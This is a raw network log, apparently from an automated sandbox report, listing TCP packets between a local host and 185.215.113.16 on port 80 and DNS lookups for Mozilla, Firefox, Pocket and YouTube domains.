Jul 27, 2024 12:02:09.437621117 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437664032 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437673092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437680960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437685013 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437694073 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437702894 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437707901 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437711954 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437721968 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437730074 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437733889 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437762976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437776089 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437855005 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437865019 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437872887 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437881947 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437891006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437900066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437908888 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437908888 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437917948 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437927008 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437935114 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437937975 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437943935 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437952042 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.437961102 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437969923 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437993050 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.437998056 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438007116 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438024044 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438031912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438040018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438045025 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.438050032 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438059092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438065052 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.438069105 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438076973 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438086033 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438091040 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.438093901 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438102961 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438111067 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438117981 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.438119888 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438129902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438133955 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.438139915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438153028 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.438155890 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438165903 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438169956 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.438174963 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.438183069 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.438211918 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453037977 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453047037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453098059 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453176022 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453226089 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453419924 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453429937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453438997 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453471899 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453499079 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453562975 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453573942 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453582048 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453591108 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453602076 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453610897 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453613997 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453620911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453648090 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453676939 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453783035 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453794003 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453805923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453816891 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453825951 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453826904 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453836918 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453855991 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453885078 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.453912973 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.453968048 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.454056025 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.454071999 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.454108953 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.477940083 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.477950096 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.477967024 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.477977037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.477986097 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.477994919 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.477996111 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478007078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478159904 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.478159904 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.478185892 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478194952 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478204966 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478214979 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478224039 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478235006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478238106 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.478243113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.478255987 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.478286982 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.479121923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.479131937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.479141951 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.479176044 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.479191065 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.479199886 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.479206085 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.479211092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.479222059 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.479229927 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.479249954 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.479284048 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.526295900 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.526457071 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.526477098 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.526488066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.526498079 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.526508093 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.526516914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.526526928 CEST	80	49733	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 12:02:31.753297091 CEST	192.168.2.5	1.1.1.1	0x4be6	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:31.797836065 CEST	192.168.2.5	1.1.1.1	0xc9f5	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:02:32.906697035 CEST	192.168.2.5	1.1.1.1	0x6b45	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.906969070 CEST	192.168.2.5	1.1.1.1	0x6803	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.915517092 CEST	192.168.2.5	1.1.1.1	0x7eb8	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.916811943 CEST	192.168.2.5	1.1.1.1	0xd7b1	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.925685883 CEST	192.168.2.5	1.1.1.1	0x1872	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:02:32.925832033 CEST	192.168.2.5	1.1.1.1	0x7327	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jul 27, 2024 12:02:33.483423948 CEST	192.168.2.5	1.1.1.1	0x72cf	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.495529890 CEST	192.168.2.5	1.1.1.1	0xfc40	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.503671885 CEST	192.168.2.5	1.1.1.1	0x6b5	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 27, 2024 12:02:33.526837111 CEST	192.168.2.5	1.1.1.1	0xf9a8	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.535300016 CEST	192.168.2.5	1.1.1.1	0x954	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.578327894 CEST	192.168.2.5	1.1.1.1	0x3511	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.583264112 CEST	192.168.2.5	1.1.1.1	0xa528	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:02:33.599988937 CEST	192.168.2.5	1.1.1.1	0x13aa	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:02:54.148471117 CEST	192.168.2.5	1.1.1.1	0xfd4e	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:02:55.267745972 CEST	192.168.2.5	1.1.1.1	0x5330	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.268995047 CEST	192.168.2.5	1.1.1.1	0xc3c6	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.271833897 CEST	192.168.2.5	1.1.1.1	0x61f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 27, 2024 12:02:55.308569908 CEST	192.168.2.5	1.1.1.1	0xa832	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.312587976 CEST	192.168.2.5	1.1.1.1	0xd3ab	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:02:55.321423054 CEST	192.168.2.5	1.1.1.1	0x6d6a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.331226110 CEST	192.168.2.5	1.1.1.1	0x4bac	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:02:55.824292898 CEST	192.168.2.5	1.1.1.1	0xa168	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.838160038 CEST	192.168.2.5	1.1.1.1	0x7821	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.849148989 CEST	192.168.2.5	1.1.1.1	0xfb5c	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:03:01.021568060 CEST	192.168.2.5	1.1.1.1	0x67ca	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:03:01.041305065 CEST	192.168.2.5	1.1.1.1	0x5b44	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:03:01.055419922 CEST	192.168.2.5	1.1.1.1	0xa8a4	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 27, 2024 12:03:03.227922916 CEST	192.168.2.5	1.1.1.1	0xe37f	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:03:03.315068960 CEST	192.168.2.5	1.1.1.1	0x47a5	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 12:02:31.703795910 CEST	1.1.1.1	192.168.2.5	0x2c59	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:31.760792971 CEST	1.1.1.1	192.168.2.5	0x4be6	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.914378881 CEST	1.1.1.1	192.168.2.5	0x6803	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.915117025 CEST	1.1.1.1	192.168.2.5	0x6b45	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:02:32.915117025 CEST	1.1.1.1	192.168.2.5	0x6b45	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923729897 CEST	1.1.1.1	192.168.2.5	0xd7b1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.923858881 CEST	1.1.1.1	192.168.2.5	0x7eb8	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:32.932846069 CEST	1.1.1.1	192.168.2.5	0x1872	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 27, 2024 12:02:32.932861090 CEST	1.1.1.1	192.168.2.5	0x7327	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 12:02:32.932861090 CEST	1.1.1.1	192.168.2.5	0x7327	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 12:02:32.932861090 CEST	1.1.1.1	192.168.2.5	0x7327	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 12:02:32.932861090 CEST	1.1.1.1	192.168.2.5	0x7327	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 12:02:33.491019964 CEST	1.1.1.1	192.168.2.5	0x72cf	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.502938986 CEST	1.1.1.1	192.168.2.5	0xfc40	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.533879995 CEST	1.1.1.1	192.168.2.5	0xf9a8	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:02:33.533879995 CEST	1.1.1.1	192.168.2.5	0xf9a8	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.542748928 CEST	1.1.1.1	192.168.2.5	0x954	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.563189030 CEST	1.1.1.1	192.168.2.5	0xfc03	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:02:33.563189030 CEST	1.1.1.1	192.168.2.5	0xfc03	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:33.587483883 CEST	1.1.1.1	192.168.2.5	0x3511	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.275676012 CEST	1.1.1.1	192.168.2.5	0x5330	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.275809050 CEST	1.1.1.1	192.168.2.5	0xc3c6	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.275809050 CEST	1.1.1.1	192.168.2.5	0xc3c6	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.315469980 CEST	1.1.1.1	192.168.2.5	0xa832	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:02:55.315469980 CEST	1.1.1.1	192.168.2.5	0xa832	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.330641985 CEST	1.1.1.1	192.168.2.5	0x6d6a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.832896948 CEST	1.1.1.1	192.168.2.5	0xa168	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:02:55.832896948 CEST	1.1.1.1	192.168.2.5	0xa168	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:02:55.832896948 CEST	1.1.1.1	192.168.2.5	0xa168	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.845242977 CEST	1.1.1.1	192.168.2.5	0x7821	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:02:55.865439892 CEST	1.1.1.1	192.168.2.5	0xfb5c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Jul 27, 2024 12:03:01.040446043 CEST	1.1.1.1	192.168.2.5	0x67ca	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:03:01.040446043 CEST	1.1.1.1	192.168.2.5	0x67ca	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
